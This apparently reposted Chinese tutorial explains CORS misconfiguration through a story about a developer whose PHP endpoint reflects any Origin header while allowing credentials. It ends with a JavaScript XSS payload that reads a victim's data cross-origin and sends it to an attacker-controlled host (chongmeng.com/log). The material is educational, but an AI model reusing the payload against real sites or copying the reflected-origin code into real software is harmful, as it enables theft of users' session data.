天天看點

cors跨域_全面刨析cors跨域攻擊原理

htf的cors跨域之旅

    htf一直在維護一個網站,b.com。b.com中存在接口get_userinfo.php可以擷取到使用者的敏感資訊'flag',代碼如下。

//http://b.com/get_userinfo.php <?php  session_start(); if(isset($_SESSION['flag'])) { echo "{'flag':".$_SESSION['flag']."}"; }?>//http://b.com/generate_userinfo.php <?php  session_start(); if(!isset($_SESSION['flag'])) { $_SESSION['flag']=rand(); }?>
           

    現在a.com——與b.com都是同樣屬于無法溯源組織的另一網站,因為一些功能需要通路b.com的/get_userinfo.php 接口以擷取使用者的flag對使用者進行認證,這時候就需要在b網站上使用cors,允許來自a網站的通路。于是聰明的htf修 改了b.com/get_userinfo.php的代碼:

//http://b.com/get_userinfo.php <?php  session_start(); //允許來自a.com的請求 header('Access-Control-Allow-Origin: http://a.com'); header('Access-Control-Allow-Credentials: true'); if(isset($_SESSION['flag'])) { echo "{'flag':".$_SESSION['flag']."}"; }?>
           

    同時,htf在a.com的網頁中使用了如下代碼來獲得使用者在b.com的資訊

<script> var xmlhttp = new XMLHttpRequest(),     method = 'GET',     url = 'http://b.com/get_userinfo.php'; xmlhttp.open(method, url, true); xmlhttp.withCredentials = true; xmlhttp.onload = function () { //顯示傳回的内容     alert(xmlhttp.response) };xmlhttp.send(); script> 
           

    測試一下:正常通路b.com的get_userinfo.php

cors跨域_全面刨析cors跨域攻擊原理

    通過通路a.com的get_b_userinfo.html通路b網站的接口:

cors跨域_全面刨析cors跨域攻擊原理

    什麼東西都沒有,htf不禁皺了一下眉頭,黑客的直覺告訴他事情沒有這麼簡單。他打開百順前兩天發給他的burp鑽石豪華版,準備抓個包一探究竟

cors跨域_全面刨析cors跨域攻擊原理

    抓包發現,js請求b.com的封包中并沒有帶上b.com的cookie,是以b.com沒法通過session獲得使用者的flflag,自然也 沒法傳回資料。再打開Chrome的控制台,一行洋文映入眼中

cors跨域_全面刨析cors跨域攻擊原理

    經過十幾年的學習,htf早已具備了使用翻譯軟體的能力,他光速打開翻譯網站

設定了與http://b.com/上的跨站點資源關聯的cookie,但未設定“ SameSite”屬性。它已被阻止,因為Chrome 現在僅在跨站點請求中将Cookie設定為“ SameSite = None”和“ Secure”時才發送。您可以在“應用程式”>“存 儲”>“ Cookies”下的開發人員工具中檢視Cookie,并在https://www.chromestatus.com/feature/5088147346 030592和https://www.chromestatus.com/feature/5633521622188032上檢視更多詳細資訊。 谷歌

“samesite cookie?”,htf繼續搜尋

Chrome 51 開始,浏覽器的 Cookie 新增加了一個 SameSite 屬性,用來防止 CSRF 攻擊和使用者追蹤。 SameSite-cookies 是一種機制,用于定義 cookie 如何跨域發送。這是谷歌開發的一種安全機制,并且現在在最 新版本( Chrome Dev 51.0.2704.4 )中已經開始實行了。 SameSite-cookies 的目的是嘗試阻止 CSRF ( Cross site request forgery 跨站請求僞造)以及 XSSI ( Cross Site Script Inclusion (XSSI) 跨站腳本包含)攻擊。詳細 介 ..... 谷歌

    盡管大部分内容都沒有看懂,但是通過閱讀htf知道這samesite是chrome浏覽器獨有的屬性,是以他簡單的修改了一 下網頁,修複了這個問題:

cors跨域_全面刨析cors跨域攻擊原理

網頁也如他所期望的獲得了彈出了flag

cors跨域_全面刨析cors跨域攻擊原理
十年之後 我們是朋友 還可以問候 隻是那種溫柔 再也找不到擁抱的理由..
           

    鬥轉星移,十年過去了,時間帶走了htf帥氣的容顔,也帶去了htf過人的智慧,卻不曾為htf帶來一個女友。随着無法溯源的壯大,他們旗下多出了無數的網站c.com, d.com, e.com.... 為了便于管理,htf将他們統一放到了wufasuyuan.com下,作為wufasuyuan.com的子域名 這些網站雖然都沒什麼用,但他們都需要擷取b.com的使用者資料,是以b.wufasuyuan.com/get_userinfo.php的代碼 就變成了這樣

//http://b.wufasuyuan.com/get_userinfo.php <?php  session_start(); $origin = isset($_SERVER['HTTP_ORIGIN'])? $_SERVER['HTTP_ORIGIN'] : ''; if($origin=='http://a.wufasuyuan.com') { header('Access-Control-Allow-Origin: http://a.wufasuyuan.com'); }else if($origin=='http://c.wufasuyuan.com') { header('Access-Control-Allow-Origin: http://c.wufasuyuan.com'); }else if($origin=='http://d.wufasuyuan.com') { header('Access-Control-Allow-Origin: http://d.wufasuyuan.com'); }else if($origin=='http://e.wufasuyuan.com') { header('Access-Control-Allow-Origin: http://e.wufasuyuan.com'); }else if($origin=='http://f.wufasuyuan.com') { header('Access-Control-Allow-Origin: http://f.wufasuyuan.com'); }else if($origin=='http://g.wufasuyuan.com') { header('Access-Control-Allow-Origin: http://g.wufasuyuan.com'); }else if($origin=='http://h.wufasuyuan.com') {//省略.................... header('Access-Control-Allow-Credentials: true'); if(isset($_SESSION['flag'])) { echo "{'flag':".$_SESSION['flag']."}"; }?> 
           

    維護這樣一份代碼是很困難,更不要說htf每天日理萬機,根本沒有時間去維護。于是htf便想出一個方法,直接讀取 請求中的origin頭,并将它包含在響應頭中

//http://b.wufasuyuan.com/get_userinfo.php <?php  session_start(); $origin = isset($_SERVER['HTTP_ORIGIN'])? $_SERVER['HTTP_ORIGIN'] : ''; header('Access-Control-Allow-Origin: '.$origin); header('Access-Control-Allow-Credentials: true'); if(isset($_SESSION['flag'])) { echo "{'flag':".$_SESSION['flag']."}"; }?>
           

    這樣一來,任何來自任何網站的請求都可以通路b.wufasuyuan.com的内容,htf從此免去了維護這份清單的負擔。

    铳夢也是一名黑客,盡管沒有htf(人稱黑土匪)黑,但技術是一流的。一天他來到了無法溯源的某個子域下,發現自己的浏覽器通過與b.wufasuyuan.com通信擷取自己的敏感資料,黑客 的第六感讓他意識到這裡也許可以探索一下。他打開他的burp——白金豪華版,開始測試:首先他發送了一個正常包,一切正常

cors跨域_全面刨析cors跨域攻擊原理

接着铳夢将Origin字段修改為無法溯源的其他子域,同樣正常傳回 

Origin: c.wufasuyuan.com 
           

他繼續将Origin修改為一個不存在的子域名 

Origin: htfsb.wufasuyuan.com 
           

伺服器依舊傳回了他的flag。 

最後,他又将Origin修改為自己的域名

cors跨域_全面刨析cors跨域攻擊原理

    伺服器的Access-Control-Allow-Origin也傳回了自己的域名。铳夢馬上意識到這是一個cors跨域漏洞,他把這個漏洞 寫成了一個簡單的報告并附上了修改意見,交給了無法溯源src。htf的回報也十分迅速:

cors跨域_全面刨析cors跨域攻擊原理

    在無法溯源src受到了侮辱的铳夢十分生氣,他決定利用一下這個漏洞,讓htf吃點苦頭。首先他使用黑客技術在百度主站挖到了一個xss,任何打開百度首頁的人都将受到攻擊

cors跨域_全面刨析cors跨域攻擊原理

    他植入了以下代碼,讓任何浏覽器中存有wufasuyuan.com的cookie的人打開百度都将被竊取賬号中的flag:

<script> var xmlhttp = new XMLHttpRequest(),     method = 'GET',     url = 'http://b.wufasuyuan.com/get_userinfo.php'; xmlhttp.open(method, url, true); xmlhttp.withCredentials = true; xmlhttp.onload = function () {var xmlhttp2 = new XMLHttpRequest(),     method = 'GET',    url = 'http://chongmeng.com/log?data='+xmlhttp.response;     xmlhttp2.open(method, url, true);     xmlhttp2.withCredentials = true;     xmlhttp2.send(); };xmlhttp.send(); script>
           

第二天:

cors跨域_全面刨析cors跨域攻擊原理

繼續閱讀